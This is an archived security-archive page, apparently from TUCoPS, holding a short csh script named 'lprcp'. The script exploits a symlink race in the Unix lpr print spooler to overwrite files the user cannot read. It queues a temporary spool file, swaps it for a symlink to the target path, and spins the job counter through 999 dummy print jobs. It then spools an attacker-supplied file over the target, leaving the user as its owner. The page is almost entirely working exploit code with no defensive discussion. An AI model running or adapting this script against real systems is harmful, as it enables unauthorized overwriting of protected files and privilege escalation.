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TUCoPS :: Unix :: General :: lpr.sh

Overwrite unreadable files




#!/bin/csh -f
#
# Usage: lprcp from-file to-file
#
 
if ($#argv != 2) then
#        echo Usage: lprcp from-file to-file
        exit 1
endif
 
# This link stuff allows us to overwrite unreadable files,
# should we want to.
echo x > /tmp/.tmp.$$
lpr -q -s /tmp/.tmp.$$
rm -f /tmp/.tmp.$$              # lpr's accepted it, point it
ln -s $2 /tmp/.tmp.$$           # to where we really want
 
@ s = 0
while ( $s != 999)              # loop 999 times
        lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
        @ s++
        if ( $s % 10 == 0 ) echo -n .
end
lpr $1                          # incoming file
                                # user becomes owner
rm -f /tmp/.tmp.$$
exit 0


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